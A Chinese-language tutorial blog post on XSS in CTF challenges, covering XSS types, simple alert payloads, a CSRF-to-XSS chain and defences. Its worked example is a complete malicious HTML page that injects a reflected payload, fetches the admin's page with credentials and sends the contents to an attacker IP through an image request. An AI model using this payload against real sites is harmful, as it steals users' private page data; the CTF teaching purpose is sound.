CTF 中的 XSS 攻击:原理、技巧与实战案例
跨站脚本攻击(Cross-Site Scripting,简称 XSS)是一种常见的 Web 漏洞,利用该漏洞,攻击者可以在受害者浏览器中注入并执行恶意脚本。在 CTF(Capture The Flag)竞赛中,XSS 攻击不仅是一种考察 Web 安全基础的攻击技术,同时也是非常实用的进阶手段,可以用来窃取敏感信息、绕过访问控制或结合 CSRF(跨站请求伪造)实现更复杂的链式攻击。
本文将介绍 XSS 攻击的基本原理、常见类型、如何在 CTF 中利用 XSS 攻击,以及防御措施。
一、XSS 攻击基本原理
1. 什么是 XSS?
XSS 攻击指的是攻击者通过在 Web 页面中注入恶意 JavaScript 代码,使得这些代码在其他用户的浏览器中执行。通过这种方式,攻击者可以篡改页面内容、窃取用户 Cookie、劫持用户会话,甚至对用户进行钓鱼攻击。
2. XSS 的类型
- 反射型 XSS(Reflected XSS):
攻击者将恶意脚本嵌入到请求中,目标服务器将其反射到响应中。例如,通过 URL 参数传入恶意代码,目标页面在渲染时执行了该代码。 - 存储型 XSS(Stored XSS):
恶意代码被永久存储在服务器上(例如数据库、留言板),当其他用户访问包含该内容的页面时,恶意代码被执行。 - DOM 型 XSS:
恶意代码完全在客户端执行,通过修改页面的 DOM 结构,攻击者利用 JavaScript 动态修改页面内容,从而引发 XSS 漏洞。
二、CTF 中的 XSS 攻击
在 CTF 中,XSS 攻击通常不是为了破坏 Web 应用,而是为了获得 flag。CTF 赛题往往会设置一些特定的场景,例如存储型 XSS、反射型 XSS 或利用 CSRF 触发 XSS 链,以考察参赛者对 Web 漏洞利用链的理解和实践能力。
1. 反射型 XSS 示例
在反射型 XSS 题目中,用户提交的输入(例如 URL 参数、表单数据)被直接反射到页面中。如果输入没有经过充分过滤,攻击者可以构造如下 URL:
http://example.com/search?query=<script>alert('XSS')</script>
当其他用户点击该链接时,浏览器就会执行 alert('XSS')
。在 CTF 中,这种简单的 payload 常用于证明漏洞存在。
2. 存储型 XSS 示例
存储型 XSS 攻击中,攻击者提交的数据被存储在服务器上。当其他用户(例如管理员或特定用户)访问含有该数据的页面时,恶意代码会被执行。例如,攻击者在论坛留言中提交:
<script>alert('PWNED');</script>
当管理员查看留言时,浏览器执行这段代码,攻击者可以利用此漏洞进一步窃取管理员信息或执行其他操作。
3. CSRF 与 XSS 的结合
CTF 题目中,有时会将 CSRF 与 XSS 攻击结合起来,形成攻击链。例如:
- 利用 CSRF 诱使管理员访问一个恶意页面(由攻击者控制)。
- 恶意页面通过反射型 XSS 载荷,让管理员的浏览器执行 JavaScript 代码。
- 利用 JavaScript 内部的 fetch() 请求获取管理员专属的页面内容(例如包含 flag 的页面)。
- 最终将页面内容通过 exfiltration(数据外泄)的方式发送到攻击者服务器。
这种 CSRF→XSS 链可以绕过 HttpOnly cookie 限制,因为一旦脚本在管理员浏览器中执行,它就能读取同源下的所有页面内容。
三、实战案例
下面是一段示例代码,展示如何利用 CSRF-to-XSS 链来获取 flag。假设目标应用使用 Flask 开发,管理员的 flag 隐藏在一个草稿帖子中,只有在发布后才能完整显示,而管理员默认不会发布草稿。
攻击思路如下:
- 利用 CSRF 让管理员的浏览器访问一个恶意页面(由攻击者托管)。
- 恶意页面反射 XSS 负载,利用 fetch() 请求目标页面(例如首页
/
),读取包含 flag 的 HTML 内容。 - 利用
new Image().src
将获取到的数据以 GET 请求形式 exfiltrate 到攻击者服务器。
示例恶意页面代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CSRF to XSS Attack: Publish Admin Draft</title>
</head>
<body>
<h1>Triggering CSRF-to-XSS Attack</h1>
<script>
// Construct the XSS payload.
// Dynamically construct the closing tag to avoid breaking the script.
var payload = `<scr` + `ipt>
// Use fetch() to retrieve the protected page (which now shows the full flag).
fetch("http://challenge.localhost/", { credentials: "include" })
.then(response => response.text())
.then(data => {
// Exfiltrate the data to the attacker's server.
var exfilUrl = "http://10.17.108.216:8888/?flag=" + encodeURIComponent(data);
new Image().src = exfilUrl;
})
.catch(error => console.error("Fetch error:", error));
</scr` + `ipt>`;
// URL-encode the payload.
var encodedPayload = encodeURIComponent(payload);
// Build the target URL using the /ephemeral endpoint, which reflects the msg parameter.
var targetUrl = "http://challenge.localhost/ephemeral?msg=" + encodedPayload;
// Create a hidden iframe to force admin's browser to load the target URL and execute the payload.
var iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.src = targetUrl;
document.body.appendChild(iframe);
</script>
</body>
</html>
说明:
- 将
http://10.17.108.216:8888/
替换为你攻击机的实际 IP 和监听端口。 - 当管理员(通过 victim 工具登录 admin)访问这个页面时,iframe 会加载
http://challenge.localhost/ephemeral?msg=...
,反射出 XSS 负载。 - 执行后,fetch() 请求会获取到包含 flag 的页面内容,并通过 Image 对象将数据发送到攻击者服务器。
四、防御措施
-
输入过滤与输出编码:
对所有用户输入进行严格过滤,并在输出时进行适当编码,防止 HTML/JS 注入。 -
Content Security Policy (CSP):
实施 CSP 可有效限制内嵌脚本的执行,降低 XSS 攻击风险。 -
CSRF Token:
对敏感操作采用 CSRF token 机制,确保请求来自可信任的页面。 -
HttpOnly Cookies:
虽然 HttpOnly 可防止 JavaScript 直接访问 Cookie,但不能防止通过 XSS 进行间接的攻击(如 fetch() 读取页面内容)。
结论
XSS 攻击在 CTF 中非常常见,其形式多样,从简单的弹出框到复杂的 CSRF-to-XSS 链式攻击。通过学习和实践这些技巧,不仅可以提高你在 CTF 中的实战能力,也能加深对 Web 安全原理的理解。希望这篇博客能帮助你了解 XSS 攻击的各种方法及防御措施,并在 CTF 比赛中取得好成绩!
Happy hacking!